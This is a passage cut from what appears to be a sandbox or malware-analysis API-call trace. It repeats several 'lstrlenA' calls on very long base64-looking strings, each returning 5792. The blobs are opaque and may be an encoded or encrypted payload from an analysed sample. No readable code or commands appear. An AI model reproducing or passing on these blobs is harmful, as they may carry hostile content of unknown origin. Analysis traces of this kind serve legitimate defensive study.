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") returned 5792 [0042.884] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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